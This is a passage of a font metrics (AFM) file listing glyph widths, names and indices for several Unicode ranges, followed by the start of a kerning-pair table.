U 19922 ; WX 896 ; N uni4DD2 ; G 4418
U 19923 ; WX 896 ; N uni4DD3 ; G 4419
U 19924 ; WX 896 ; N uni4DD4 ; G 4420
U 19925 ; WX 896 ; N uni4DD5 ; G 4421
U 19926 ; WX 896 ; N uni4DD6 ; G 4422
U 19927 ; WX 896 ; N uni4DD7 ; G 4423
U 19928 ; WX 896 ; N uni4DD8 ; G 4424
U 19929 ; WX 896 ; N uni4DD9 ; G 4425
U 19930 ; WX 896 ; N uni4DDA ; G 4426
U 19931 ; WX 896 ; N uni4DDB ; G 4427
U 19932 ; WX 896 ; N uni4DDC ; G 4428
U 19933 ; WX 896 ; N uni4DDD ; G 4429
U 19934 ; WX 896 ; N uni4DDE ; G 4430
U 19935 ; WX 896 ; N uni4DDF ; G 4431
U 19936 ; WX 896 ; N uni4DE0 ; G 4432
U 19937 ; WX 896 ; N uni4DE1 ; G 4433
U 19938 ; WX 896 ; N uni4DE2 ; G 4434
U 19939 ; WX 896 ; N uni4DE3 ; G 4435
U 19940 ; WX 896 ; N uni4DE4 ; G 4436
U 19941 ; WX 896 ; N uni4DE5 ; G 4437
U 19942 ; WX 896 ; N uni4DE6 ; G 4438
U 19943 ; WX 896 ; N uni4DE7 ; G 4439
U 19944 ; WX 896 ; N uni4DE8 ; G 4440
U 19945 ; WX 896 ; N uni4DE9 ; G 4441
U 19946 ; WX 896 ; N uni4DEA ; G 4442
U 19947 ; WX 896 ; N uni4DEB ; G 4443
U 19948 ; WX 896 ; N uni4DEC ; G 4444
U 19949 ; WX 896 ; N uni4DED ; G 4445
U 19950 ; WX 896 ; N uni4DEE ; G 4446
U 19951 ; WX 896 ; N uni4DEF ; G 4447
U 19952 ; WX 896 ; N uni4DF0 ; G 4448
U 19953 ; WX 896 ; N uni4DF1 ; G 4449
U 19954 ; WX 896 ; N uni4DF2 ; G 4450
U 19955 ; WX 896 ; N uni4DF3 ; G 4451
U 19956 ; WX 896 ; N uni4DF4 ; G 4452
U 19957 ; WX 896 ; N uni4DF5 ; G 4453
U 19958 ; WX 896 ; N uni4DF6 ; G 4454
U 19959 ; WX 896 ; N uni4DF7 ; G 4455
U 19960 ; WX 896 ; N uni4DF8 ; G 4456
U 19961 ; WX 896 ; N uni4DF9 ; G 4457
U 19962 ; WX 896 ; N uni4DFA ; G 4458
U 19963 ; WX 896 ; N uni4DFB ; G 4459
U 19964 ; WX 896 ; N uni4DFC ; G 4460
U 19965 ; WX 896 ; N uni4DFD ; G 4461
U 19966 ; WX 896 ; N uni4DFE ; G 4462
U 19967 ; WX 896 ; N uni4DFF ; G 4463
U 42192 ; WX 686 ; N uniA4D0 ; G 4464
U 42193 ; WX 603 ; N uniA4D1 ; G 4465
U 42194 ; WX 603 ; N uniA4D2 ; G 4466
U 42195 ; WX 770 ; N uniA4D3 ; G 4467
U 42196 ; WX 611 ; N uniA4D4 ; G 4468
U 42197 ; WX 611 ; N uniA4D5 ; G 4469
U 42198 ; WX 775 ; N uniA4D6 ; G 4470
U 42199 ; WX 656 ; N uniA4D7 ; G 4471
U 42200 ; WX 656 ; N uniA4D8 ; G 4472
U 42201 ; WX 512 ; N uniA4D9 ; G 4473
U 42202 ; WX 698 ; N uniA4DA ; G 4474
U 42203 ; WX 703 ; N uniA4DB ; G 4475
U 42204 ; WX 685 ; N uniA4DC ; G 4476
U 42205 ; WX 575 ; N uniA4DD ; G 4477
U 42206 ; WX 575 ; N uniA4DE ; G 4478
U 42207 ; WX 863 ; N uniA4DF ; G 4479
U 42208 ; WX 748 ; N uniA4E0 ; G 4480
U 42209 ; WX 557 ; N uniA4E1 ; G 4481
U 42210 ; WX 635 ; N uniA4E2 ; G 4482
U 42211 ; WX 695 ; N uniA4E3 ; G 4483
U 42212 ; WX 695 ; N uniA4E4 ; G 4484
U 42213 ; WX 684 ; N uniA4E5 ; G 4485
U 42214 ; WX 684 ; N uniA4E6 ; G 4486
U 42215 ; WX 752 ; N uniA4E7 ; G 4487
U 42216 ; WX 775 ; N uniA4E8 ; G 4488
U 42217 ; WX 512 ; N uniA4E9 ; G 4489
U 42218 ; WX 989 ; N uniA4EA ; G 4490
U 42219 ; WX 685 ; N uniA4EB ; G 4491
U 42220 ; WX 611 ; N uniA4EC ; G 4492
U 42221 ; WX 686 ; N uniA4ED ; G 4493
U 42222 ; WX 684 ; N uniA4EE ; G 4494
U 42223 ; WX 684 ; N uniA4EF ; G 4495
U 42224 ; WX 632 ; N uniA4F0 ; G 4496
U 42225 ; WX 632 ; N uniA4F1 ; G 4497
U 42226 ; WX 295 ; N uniA4F2 ; G 4498
U 42227 ; WX 787 ; N uniA4F3 ; G 4499
U 42228 ; WX 732 ; N uniA4F4 ; G 4500
U 42229 ; WX 732 ; N uniA4F5 ; G 4501
U 42230 ; WX 557 ; N uniA4F6 ; G 4502
U 42231 ; WX 767 ; N uniA4F7 ; G 4503
U 42232 ; WX 300 ; N uniA4F8 ; G 4504
U 42233 ; WX 300 ; N uniA4F9 ; G 4505
U 42234 ; WX 596 ; N uniA4FA ; G 4506
U 42235 ; WX 596 ; N uniA4FB ; G 4507
U 42236 ; WX 300 ; N uniA4FC ; G 4508
U 42237 ; WX 300 ; N uniA4FD ; G 4509
U 42238 ; WX 588 ; N uniA4FE ; G 4510
U 42239 ; WX 588 ; N uniA4FF ; G 4511
U 42564 ; WX 635 ; N uniA644 ; G 4512
U 42565 ; WX 521 ; N uniA645 ; G 4513
U 42566 ; WX 354 ; N uniA646 ; G 4514
U 42567 ; WX 338 ; N uniA647 ; G 4515
U 42572 ; WX 1180 ; N uniA64C ; G 4516
U 42573 ; WX 1028 ; N uniA64D ; G 4517
U 42576 ; WX 1029 ; N uniA650 ; G 4518
U 42577 ; WX 906 ; N uniA651 ; G 4519
U 42580 ; WX 1080 ; N uniA654 ; G 4520
U 42581 ; WX 842 ; N uniA655 ; G 4521
U 42582 ; WX 985 ; N uniA656 ; G 4522
U 42583 ; WX 847 ; N uniA657 ; G 4523
U 42594 ; WX 1024 ; N uniA662 ; G 4524
U 42595 ; WX 925 ; N uniA663 ; G 4525
U 42596 ; WX 1014 ; N uniA664 ; G 4526
U 42597 ; WX 900 ; N uniA665 ; G 4527
U 42598 ; WX 863 ; N uniA666 ; G 4528
U 42599 ; WX 1008 ; N uniA667 ; G 4529
U 42600 ; WX 787 ; N uniA668 ; G 4530
U 42601 ; WX 612 ; N uniA669 ; G 4531
U 42602 ; WX 855 ; N uniA66A ; G 4532
U 42603 ; WX 712 ; N uniA66B ; G 4533
U 42604 ; WX 1358 ; N uniA66C ; G 4534
U 42605 ; WX 1019 ; N uniA66D ; G 4535
U 42606 ; WX 879 ; N uniA66E ; G 4536
U 42634 ; WX 805 ; N uniA68A ; G 4537
U 42635 ; WX 722 ; N uniA68B ; G 4538
U 42636 ; WX 611 ; N uniA68C ; G 4539
U 42637 ; WX 583 ; N uniA68D ; G 4540
U 42644 ; WX 686 ; N uniA694 ; G 4541
U 42645 ; WX 634 ; N uniA695 ; G 4542
U 42648 ; WX 1358 ; N uniA698 ; G 4543
U 42649 ; WX 1019 ; N uniA699 ; G 4544
U 42760 ; WX 493 ; N uniA708 ; G 4545
U 42761 ; WX 493 ; N uniA709 ; G 4546
U 42762 ; WX 493 ; N uniA70A ; G 4547
U 42763 ; WX 493 ; N uniA70B ; G 4548
U 42764 ; WX 493 ; N uniA70C ; G 4549
U 42765 ; WX 493 ; N uniA70D ; G 4550
U 42766 ; WX 493 ; N uniA70E ; G 4551
U 42767 ; WX 493 ; N uniA70F ; G 4552
U 42768 ; WX 493 ; N uniA710 ; G 4553
U 42769 ; WX 493 ; N uniA711 ; G 4554
U 42770 ; WX 493 ; N uniA712 ; G 4555
U 42771 ; WX 493 ; N uniA713 ; G 4556
U 42772 ; WX 493 ; N uniA714 ; G 4557
U 42773 ; WX 493 ; N uniA715 ; G 4558
U 42774 ; WX 493 ; N uniA716 ; G 4559
U 42779 ; WX 369 ; N uniA71B ; G 4560
U 42780 ; WX 369 ; N uniA71C ; G 4561
U 42781 ; WX 252 ; N uniA71D ; G 4562
U 42782 ; WX 252 ; N uniA71E ; G 4563
U 42783 ; WX 252 ; N uniA71F ; G 4564
U 42786 ; WX 385 ; N uniA722 ; G 4565
U 42787 ; WX 356 ; N uniA723 ; G 4566
U 42788 ; WX 472 ; N uniA724 ; G 4567
U 42789 ; WX 472 ; N uniA725 ; G 4568
U 42790 ; WX 752 ; N uniA726 ; G 4569
U 42791 ; WX 634 ; N uniA727 ; G 4570
U 42792 ; WX 878 ; N uniA728 ; G 4571
U 42793 ; WX 709 ; N uniA729 ; G 4572
U 42794 ; WX 614 ; N uniA72A ; G 4573
U 42795 ; WX 541 ; N uniA72B ; G 4574
U 42800 ; WX 491 ; N uniA730 ; G 4575
U 42801 ; WX 521 ; N uniA731 ; G 4576
U 42802 ; WX 1250 ; N uniA732 ; G 4577
U 42803 ; WX 985 ; N uniA733 ; G 4578
U 42804 ; WX 1219 ; N uniA734 ; G 4579
U 42805 ; WX 1000 ; N uniA735 ; G 4580
U 42806 ; WX 1155 ; N uniA736 ; G 4581
U 42807 ; WX 996 ; N uniA737 ; G 4582
U 42808 ; WX 971 ; N uniA738 ; G 4583
U 42809 ; WX 818 ; N uniA739 ; G 4584
U 42810 ; WX 971 ; N uniA73A ; G 4585
U 42811 ; WX 818 ; N uniA73B ; G 4586
U 42812 ; WX 959 ; N uniA73C ; G 4587
U 42813 ; WX 818 ; N uniA73D ; G 4588
U 42814 ; WX 698 ; N uniA73E ; G 4589
U 42815 ; WX 549 ; N uniA73F ; G 4590
U 42816 ; WX 656 ; N uniA740 ; G 4591
U 42817 ; WX 579 ; N uniA741 ; G 4592
U 42822 ; WX 680 ; N uniA746 ; G 4593
U 42823 ; WX 392 ; N uniA747 ; G 4594
U 42824 ; WX 582 ; N uniA748 ; G 4595
U 42825 ; WX 427 ; N uniA749 ; G 4596
U 42826 ; WX 807 ; N uniA74A ; G 4597
U 42827 ; WX 704 ; N uniA74B ; G 4598
U 42830 ; WX 1358 ; N uniA74E ; G 4599
U 42831 ; WX 1019 ; N uniA74F ; G 4600
U 42832 ; WX 603 ; N uniA750 ; G 4601
U 42833 ; WX 635 ; N uniA751 ; G 4602
U 42834 ; WX 734 ; N uniA752 ; G 4603
U 42835 ; WX 774 ; N uniA753 ; G 4604
U 42838 ; WX 787 ; N uniA756 ; G 4605
U 42839 ; WX 635 ; N uniA757 ; G 4606
U 42852 ; WX 605 ; N uniA764 ; G 4607
U 42853 ; WX 635 ; N uniA765 ; G 4608
U 42854 ; WX 605 ; N uniA766 ; G 4609
U 42855 ; WX 635 ; N uniA767 ; G 4610
U 42880 ; WX 557 ; N uniA780 ; G 4611
U 42881 ; WX 278 ; N uniA781 ; G 4612
U 42882 ; WX 735 ; N uniA782 ; G 4613
U 42883 ; WX 634 ; N uniA783 ; G 4614
U 42889 ; WX 337 ; N uniA789 ; G 4615
U 42890 ; WX 376 ; N uniA78A ; G 4616
U 42891 ; WX 401 ; N uniA78B ; G 4617
U 42892 ; WX 275 ; N uniA78C ; G 4618
U 42893 ; WX 686 ; N uniA78D ; G 4619
U 42894 ; WX 487 ; N uniA78E ; G 4620
U 42896 ; WX 772 ; N uniA790 ; G 4621
U 42897 ; WX 667 ; N uniA791 ; G 4622
U 42912 ; WX 775 ; N uniA7A0 ; G 4623
U 42913 ; WX 635 ; N uniA7A1 ; G 4624
U 42914 ; WX 656 ; N uniA7A2 ; G 4625
U 42915 ; WX 579 ; N uniA7A3 ; G 4626
U 42916 ; WX 748 ; N uniA7A4 ; G 4627
U 42917 ; WX 634 ; N uniA7A5 ; G 4628
U 42918 ; WX 695 ; N uniA7A6 ; G 4629
U 42919 ; WX 411 ; N uniA7A7 ; G 4630
U 42920 ; WX 635 ; N uniA7A8 ; G 4631
U 42921 ; WX 521 ; N uniA7A9 ; G 4632
U 42922 ; WX 872 ; N uniA7AA ; G 4633
U 43000 ; WX 577 ; N uniA7F8 ; G 4634
U 43001 ; WX 644 ; N uniA7F9 ; G 4635
U 43002 ; WX 915 ; N uniA7FA ; G 4636
U 43003 ; WX 575 ; N uniA7FB ; G 4637
U 43004 ; WX 603 ; N uniA7FC ; G 4638
U 43005 ; WX 863 ; N uniA7FD ; G 4639
U 43006 ; WX 295 ; N uniA7FE ; G 4640
U 43007 ; WX 1199 ; N uniA7FF ; G 4641
U 61184 ; WX 213 ; N uni02E5.5 ; G 4642
U 61185 ; WX 238 ; N uni02E6.5 ; G 4643
U 61186 ; WX 257 ; N uni02E7.5 ; G 4644
U 61187 ; WX 264 ; N uni02E8.5 ; G 4645
U 61188 ; WX 267 ; N uni02E9.5 ; G 4646
U 61189 ; WX 238 ; N uni02E5.4 ; G 4647
U 61190 ; WX 213 ; N uni02E6.4 ; G 4648
U 61191 ; WX 238 ; N uni02E7.4 ; G 4649
U 61192 ; WX 257 ; N uni02E8.4 ; G 4650
U 61193 ; WX 264 ; N uni02E9.4 ; G 4651
U 61194 ; WX 257 ; N uni02E5.3 ; G 4652
U 61195 ; WX 238 ; N uni02E6.3 ; G 4653
U 61196 ; WX 213 ; N uni02E7.3 ; G 4654
U 61197 ; WX 238 ; N uni02E8.3 ; G 4655
U 61198 ; WX 257 ; N uni02E9.3 ; G 4656
U 61199 ; WX 264 ; N uni02E5.2 ; G 4657
U 61200 ; WX 257 ; N uni02E6.2 ; G 4658
U 61201 ; WX 238 ; N uni02E7.2 ; G 4659
U 61202 ; WX 213 ; N uni02E8.2 ; G 4660
U 61203 ; WX 238 ; N uni02E9.2 ; G 4661
U 61204 ; WX 267 ; N uni02E5.1 ; G 4662
U 61205 ; WX 264 ; N uni02E6.1 ; G 4663
U 61206 ; WX 257 ; N uni02E7.1 ; G 4664
U 61207 ; WX 238 ; N uni02E8.1 ; G 4665
U 61208 ; WX 213 ; N uni02E9.1 ; G 4666
U 61209 ; WX 275 ; N stem ; G 4667
U 62464 ; WX 580 ; N uniF400 ; G 4668
U 62465 ; WX 580 ; N uniF401 ; G 4669
U 62466 ; WX 624 ; N uniF402 ; G 4670
U 62467 ; WX 889 ; N uniF403 ; G 4671
U 62468 ; WX 585 ; N uniF404 ; G 4672
U 62469 ; WX 580 ; N uniF405 ; G 4673
U 62470 ; WX 653 ; N uniF406 ; G 4674
U 62471 ; WX 882 ; N uniF407 ; G 4675
U 62472 ; WX 555 ; N uniF408 ; G 4676
U 62473 ; WX 580 ; N uniF409 ; G 4677
U 62474 ; WX 1168 ; N uniF40A ; G 4678
U 62475 ; WX 589 ; N uniF40B ; G 4679
U 62476 ; WX 590 ; N uniF40C ; G 4680
U 62477 ; WX 869 ; N uniF40D ; G 4681
U 62478 ; WX 580 ; N uniF40E ; G 4682
U 62479 ; WX 589 ; N uniF40F ; G 4683
U 62480 ; WX 914 ; N uniF410 ; G 4684
U 62481 ; WX 590 ; N uniF411 ; G 4685
U 62482 ; WX 731 ; N uniF412 ; G 4686
U 62483 ; WX 583 ; N uniF413 ; G 4687
U 62484 ; WX 872 ; N uniF414 ; G 4688
U 62485 ; WX 589 ; N uniF415 ; G 4689
U 62486 ; WX 895 ; N uniF416 ; G 4690
U 62487 ; WX 589 ; N uniF417 ; G 4691
U 62488 ; WX 589 ; N uniF418 ; G 4692
U 62489 ; WX 590 ; N uniF419 ; G 4693
U 62490 ; WX 649 ; N uniF41A ; G 4694
U 62491 ; WX 589 ; N uniF41B ; G 4695
U 62492 ; WX 589 ; N uniF41C ; G 4696
U 62493 ; WX 599 ; N uniF41D ; G 4697
U 62494 ; WX 590 ; N uniF41E ; G 4698
U 62495 ; WX 516 ; N uniF41F ; G 4699
U 62496 ; WX 580 ; N uniF420 ; G 4700
U 62497 ; WX 584 ; N uniF421 ; G 4701
U 62498 ; WX 580 ; N uniF422 ; G 4702
U 62499 ; WX 580 ; N uniF423 ; G 4703
U 62500 ; WX 581 ; N uniF424 ; G 4704
U 62501 ; WX 638 ; N uniF425 ; G 4705
U 62502 ; WX 955 ; N uniF426 ; G 4706
U 62504 ; WX 931 ; N uniF428 ; G 4707
U 62505 ; WX 808 ; N uniF429 ; G 4708
U 62506 ; WX 508 ; N uniF42A ; G 4709
U 62507 ; WX 508 ; N uniF42B ; G 4710
U 62508 ; WX 508 ; N uniF42C ; G 4711
U 62509 ; WX 508 ; N uniF42D ; G 4712
U 62510 ; WX 508 ; N uniF42E ; G 4713
U 62511 ; WX 508 ; N uniF42F ; G 4714
U 62512 ; WX 508 ; N uniF430 ; G 4715
U 62513 ; WX 508 ; N uniF431 ; G 4716
U 62514 ; WX 508 ; N uniF432 ; G 4717
U 62515 ; WX 508 ; N uniF433 ; G 4718
U 62516 ; WX 518 ; N uniF434 ; G 4719
U 62517 ; WX 518 ; N uniF435 ; G 4720
U 62518 ; WX 518 ; N uniF436 ; G 4721
U 62519 ; WX 787 ; N uniF437 ; G 4722
U 62520 ; WX 787 ; N uniF438 ; G 4723
U 62521 ; WX 787 ; N uniF439 ; G 4724
U 62522 ; WX 787 ; N uniF43A ; G 4725
U 62523 ; WX 787 ; N uniF43B ; G 4726
U 62524 ; WX 546 ; N uniF43C ; G 4727
U 62525 ; WX 546 ; N uniF43D ; G 4728
U 62526 ; WX 546 ; N uniF43E ; G 4729
U 62527 ; WX 546 ; N uniF43F ; G 4730
U 62528 ; WX 546 ; N uniF440 ; G 4731
U 62529 ; WX 546 ; N uniF441 ; G 4732
U 63173 ; WX 612 ; N uniF6C5 ; G 4733
U 64256 ; WX 722 ; N uniFB00 ; G 4734
U 64257 ; WX 646 ; N fi ; G 4735
U 64258 ; WX 646 ; N fl ; G 4736
U 64259 ; WX 1000 ; N uniFB03 ; G 4737
U 64260 ; WX 1000 ; N uniFB04 ; G 4738
U 64261 ; WX 686 ; N uniFB05 ; G 4739
U 64262 ; WX 861 ; N uniFB06 ; G 4740
U 64275 ; WX 1202 ; N uniFB13 ; G 4741
U 64276 ; WX 1202 ; N uniFB14 ; G 4742
U 64277 ; WX 1196 ; N uniFB15 ; G 4743
U 64278 ; WX 1186 ; N uniFB16 ; G 4744
U 64279 ; WX 1529 ; N uniFB17 ; G 4745
U 64285 ; WX 224 ; N uniFB1D ; G 4746
U 64286 ; WX 0 ; N uniFB1E ; G 4747
U 64287 ; WX 471 ; N uniFB1F ; G 4748
U 64288 ; WX 636 ; N uniFB20 ; G 4749
U 64289 ; WX 856 ; N uniFB21 ; G 4750
U 64290 ; WX 774 ; N uniFB22 ; G 4751
U 64291 ; WX 906 ; N uniFB23 ; G 4752
U 64292 ; WX 771 ; N uniFB24 ; G 4753
U 64293 ; WX 843 ; N uniFB25 ; G 4754
U 64294 ; WX 855 ; N uniFB26 ; G 4755
U 64295 ; WX 807 ; N uniFB27 ; G 4756
U 64296 ; WX 875 ; N uniFB28 ; G 4757
U 64297 ; WX 838 ; N uniFB29 ; G 4758
U 64298 ; WX 708 ; N uniFB2A ; G 4759
U 64299 ; WX 708 ; N uniFB2B ; G 4760
U 64300 ; WX 708 ; N uniFB2C ; G 4761
U 64301 ; WX 708 ; N uniFB2D ; G 4762
U 64302 ; WX 668 ; N uniFB2E ; G 4763
U 64303 ; WX 668 ; N uniFB2F ; G 4764
U 64304 ; WX 668 ; N uniFB30 ; G 4765
U 64305 ; WX 578 ; N uniFB31 ; G 4766
U 64306 ; WX 412 ; N uniFB32 ; G 4767
U 64307 ; WX 546 ; N uniFB33 ; G 4768
U 64308 ; WX 653 ; N uniFB34 ; G 4769
U 64309 ; WX 272 ; N uniFB35 ; G 4770
U 64310 ; WX 346 ; N uniFB36 ; G 4771
U 64311 ; WX 1000 ; N uniFB37 ; G 4772
U 64312 ; WX 648 ; N uniFB38 ; G 4773
U 64313 ; WX 307 ; N uniFB39 ; G 4774
U 64314 ; WX 537 ; N uniFB3A ; G 4775
U 64315 ; WX 529 ; N uniFB3B ; G 4776
U 64316 ; WX 568 ; N uniFB3C ; G 4777
U 64317 ; WX 1000 ; N uniFB3D ; G 4778
U 64318 ; WX 679 ; N uniFB3E ; G 4779
U 64319 ; WX 1000 ; N uniFB3F ; G 4780
U 64320 ; WX 400 ; N uniFB40 ; G 4781
U 64321 ; WX 649 ; N uniFB41 ; G 4782
U 64322 ; WX 1000 ; N uniFB42 ; G 4783
U 64323 ; WX 640 ; N uniFB43 ; G 4784
U 64324 ; WX 625 ; N uniFB44 ; G 4785
U 64325 ; WX 1000 ; N uniFB45 ; G 4786
U 64326 ; WX 593 ; N uniFB46 ; G 4787
U 64327 ; WX 709 ; N uniFB47 ; G 4788
U 64328 ; WX 564 ; N uniFB48 ; G 4789
U 64329 ; WX 708 ; N uniFB49 ; G 4790
U 64330 ; WX 657 ; N uniFB4A ; G 4791
U 64331 ; WX 272 ; N uniFB4B ; G 4792
U 64332 ; WX 578 ; N uniFB4C ; G 4793
U 64333 ; WX 529 ; N uniFB4D ; G 4794
U 64334 ; WX 625 ; N uniFB4E ; G 4795
U 64335 ; WX 629 ; N uniFB4F ; G 4796
U 65024 ; WX 0 ; N uniFE00 ; G 4797
U 65025 ; WX 0 ; N uniFE01 ; G 4798
U 65026 ; WX 0 ; N uniFE02 ; G 4799
U 65027 ; WX 0 ; N uniFE03 ; G 4800
U 65028 ; WX 0 ; N uniFE04 ; G 4801
U 65029 ; WX 0 ; N uniFE05 ; G 4802
U 65030 ; WX 0 ; N uniFE06 ; G 4803
U 65031 ; WX 0 ; N uniFE07 ; G 4804
U 65032 ; WX 0 ; N uniFE08 ; G 4805
U 65033 ; WX 0 ; N uniFE09 ; G 4806
U 65034 ; WX 0 ; N uniFE0A ; G 4807
U 65035 ; WX 0 ; N uniFE0B ; G 4808
U 65036 ; WX 0 ; N uniFE0C ; G 4809
U 65037 ; WX 0 ; N uniFE0D ; G 4810
U 65038 ; WX 0 ; N uniFE0E ; G 4811
U 65039 ; WX 0 ; N uniFE0F ; G 4812
U 65056 ; WX 0 ; N uniFE20 ; G 4813
U 65057 ; WX 0 ; N uniFE21 ; G 4814
U 65058 ; WX 0 ; N uniFE22 ; G 4815
U 65059 ; WX 0 ; N uniFE23 ; G 4816
U 65529 ; WX 0 ; N uniFFF9 ; G 4817
U 65530 ; WX 0 ; N uniFFFA ; G 4818
U 65531 ; WX 0 ; N uniFFFB ; G 4819
U 65532 ; WX 0 ; N uniFFFC ; G 4820
U 65533 ; WX 1025 ; N uniFFFD ; G 4821
EndCharMetrics
StartKernData 
StartKernPairs 1029

KPX dollar seven -149
KPX dollar nine -102
KPX dollar colon -36
KPX dollar Hcircumflex -149
KPX dollar Hbar -149
KPX dollar Kcommaaccent -36
KPX dollar uni01DC -149

KPX percent less -36
KPX percent kgreenlandic -36
KPX percent lacute -36
KPX percent uni01F4 -36

KPX ampersand six 38
KPX ampersand Gcircumflex 38
KPX ampersand Gbreve 38
KPX ampersand Gdotaccent 38
KPX ampersand Gcommaaccent 38
KPX ampersand uni01DA 38

KPX parenright dollar -120
KPX parenright X -83
KPX parenright guillemotright -83
KPX parenright onequarter -83
KPX parenright onehalf -83
KPX parenright threequarters -83
KPX parenright Acircumflex -120
KPX parenright Adieresis -120
KPX parenright AE -120
KPX parenright imacron -83
KPX parenright ibreve -83
KPX parenright iogonek -83
KPX parenright dotlessi -83
KPX parenright ij -83
KPX parenright jcircumflex -83

KPX period ampersand -55
KPX period two -55
KPX period eight -36
KPX period D -73
KPX period H -73
KPX period R -73
KPX period X -55
KPX period backslash -55
KPX period cent -73
KPX period sterling -73
KPX period currency -73
KPX period yen -73
KPX period brokenbar -73
KPX period section -73
KPX period dieresis -36
KPX period ordfeminine -73
KPX period guillemotleft -73
KPX period logicalnot -73
KPX period sfthyphen -73
KPX period acute -73
KPX period mu -73
KPX period paragraph -73
KPX period periodcentered -73
KPX period cedilla -73
KPX period ordmasculine -92
KPX period guillemotright -55
KPX period onequarter -55
KPX period onehalf -55
KPX period threequarters -55
KPX period questiondown -55
KPX period Aacute -55
KPX period Egrave -55
KPX period Icircumflex -55
KPX period Yacute -73
KPX period Ebreve -55
KPX period ebreve -92
KPX period Idot -36
KPX period dotlessi -55

KPX slash two -63
KPX slash seven -139
KPX slash nine -149
KPX slash colon -83
KPX slash less -196
KPX slash backslash -73
KPX slash questiondown -73
KPX slash Aacute -73
KPX slash Ebreve -63
KPX slash Hbar -139
KPX slash lacute -196

KPX two semicolon -55

KPX three dollar -102


KPX six six -73
KPX six Gdotaccent -73
KPX six Gcommaaccent -73

KPX seven dollar -188
KPX seven D -215
KPX seven F -253
KPX seven H -253
KPX seven R -253
KPX seven U -159
KPX seven V -243
KPX seven X -206
KPX seven Z -167
KPX seven backslash -178
KPX seven cent -215
KPX seven sterling -215
KPX seven currency -215
KPX seven yen -215
KPX seven brokenbar -215
KPX seven section -215
KPX seven dieresis -253
KPX seven copyright -253
KPX seven ordfeminine -253
KPX seven guillemotleft -253
KPX seven logicalnot -253
KPX seven sfthyphen -253
KPX seven acute -253
KPX seven mu -253
KPX seven paragraph -253
KPX seven periodcentered -253
KPX seven cedilla -253
KPX seven ordmasculine -253
KPX seven guillemotright -206
KPX seven onequarter -206
KPX seven onehalf -206
KPX seven threequarters -206
KPX seven questiondown -178
KPX seven Aacute -178
KPX seven Eacute -253
KPX seven Idieresis -253
KPX seven Yacute -253
KPX seven ebreve -253
KPX seven edotaccent -159
KPX seven ecaron -159
KPX seven gdotaccent -243
KPX seven gcommaaccent -243
KPX seven dotlessi -206

KPX nine dollar -139
KPX nine D -131
KPX nine H -120
KPX nine R -120
KPX nine X -36
KPX nine cent -131
KPX nine sterling -131
KPX nine currency -131
KPX nine yen -131
KPX nine brokenbar -131
KPX nine section -131
KPX nine dieresis -149
KPX nine ordfeminine -120
KPX nine guillemotleft -120
KPX nine logicalnot -120
KPX nine sfthyphen -120
KPX nine acute -120
KPX nine mu -120
KPX nine paragraph -120
KPX nine periodcentered -120
KPX nine cedilla -120
KPX nine ordmasculine -120
KPX nine guillemotright -36
KPX nine onequarter -36
KPX nine onehalf -36
KPX nine threequarters -36
KPX nine Yacute -120
KPX nine ebreve -120
KPX nine dotlessi -36

KPX colon dollar -102
KPX colon D -112
KPX colon U -36
KPX colon cent -112
KPX colon sterling -112
KPX colon currency -112
KPX colon yen -112
KPX colon brokenbar -112
KPX colon section -112
KPX colon dieresis -112
KPX colon edotaccent -36
KPX colon ecaron -36

KPX semicolon ampersand -36
KPX semicolon two -73
KPX semicolon Egrave -36
KPX semicolon Icircumflex -36
KPX semicolon Ebreve -55

KPX less dollar -159
KPX less ampersand -36
KPX less two -36
KPX less D -188
KPX less H -225
KPX less L -36
KPX less R -225
KPX less X -188
KPX less cent -188
KPX less sterling -188
KPX less currency -188
KPX less yen -188
KPX less brokenbar -188
KPX less section -188
KPX less dieresis -188
KPX less ordfeminine -225
KPX less guillemotleft -225
KPX less logicalnot -225
KPX less sfthyphen -225
KPX less acute -225
KPX less mu -225
KPX less paragraph -225
KPX less periodcentered -225
KPX less cedilla -225
KPX less ordmasculine -225
KPX less guillemotright -188
KPX less onequarter -188
KPX less onehalf -188
KPX less threequarters -188
KPX less Egrave -36
KPX less Icircumflex -36
KPX less Yacute -225
KPX less Ebreve -36
KPX less ebreve -225
KPX less dotlessi -188










KPX Acircumflex seven -149
KPX Acircumflex nine -102
KPX Acircumflex colon -36
KPX Acircumflex Hcircumflex -149
KPX Acircumflex Hbar -149
KPX Acircumflex Kcommaaccent -36
KPX Acircumflex uni01DC -149

KPX Adieresis seven -149
KPX Adieresis nine -102
KPX Adieresis colon -36
KPX Adieresis Hcircumflex -149
KPX Adieresis Hbar -149
KPX Adieresis Kcommaaccent -36
KPX Adieresis uni01DC -149

KPX AE seven -149
KPX AE nine -102
KPX AE colon -36
KPX AE Hcircumflex -149
KPX AE Hbar -149
KPX AE Kcommaaccent -36
KPX AE uni01DC -149

KPX Egrave six 38
KPX Egrave Gcircumflex 38
KPX Egrave Gbreve 38
KPX Egrave Gdotaccent 38
KPX Egrave Gcommaaccent 38
KPX Egrave uni01DA 38

KPX Ecircumflex six 38
KPX Ecircumflex Gcircumflex 38
KPX Ecircumflex Gbreve 38
KPX Ecircumflex Gdotaccent 38
KPX Ecircumflex Gcommaaccent 38
KPX Ecircumflex uni01DA 38

KPX Igrave six 38
KPX Igrave Gcircumflex 38
KPX Igrave Gbreve 38
KPX Igrave Gdotaccent 38
KPX Igrave Gcommaaccent 38
KPX Igrave uni01DA 38

KPX Icircumflex six 38
KPX Icircumflex Gcircumflex 38
KPX Icircumflex Gbreve 38
KPX Icircumflex Gdotaccent 38
KPX Icircumflex Gcommaaccent 38
KPX Icircumflex uni01DA 38

KPX ucircumflex two -63
KPX ucircumflex seven -139
KPX ucircumflex nine -149
KPX ucircumflex colon -83
KPX ucircumflex less -196
KPX ucircumflex backslash -73
KPX ucircumflex questiondown -73
KPX ucircumflex Aacute -73
KPX ucircumflex Ebreve -63
KPX ucircumflex Hbar -139
KPX ucircumflex lacute -196

KPX ydieresis two -63
KPX ydieresis seven -139
KPX ydieresis nine -149
KPX ydieresis colon -83
KPX ydieresis less -196
KPX ydieresis backslash -73
KPX ydieresis questiondown -73
KPX ydieresis Aacute -73
KPX ydieresis Ebreve -63
KPX ydieresis Hbar -139
KPX ydieresis lacute -196

KPX abreve two -63
KPX abreve seven -139
KPX abreve nine -149
KPX abreve colon -83
KPX abreve less -196
KPX abreve backslash -73
KPX abreve questiondown -73
KPX abreve Aacute -73
KPX abreve Ebreve -63
KPX abreve Hbar -139
KPX abreve lacute -196



KPX Gdotaccent six -73
KPX Gdotaccent Gdotaccent -73
KPX Gdotaccent Gcommaaccent -73

KPX Gcommaaccent six -73
KPX Gcommaaccent Gdotaccent -73
KPX Gcommaaccent Gcommaaccent -73

KPX Hbar dollar -188
KPX Hbar D -215
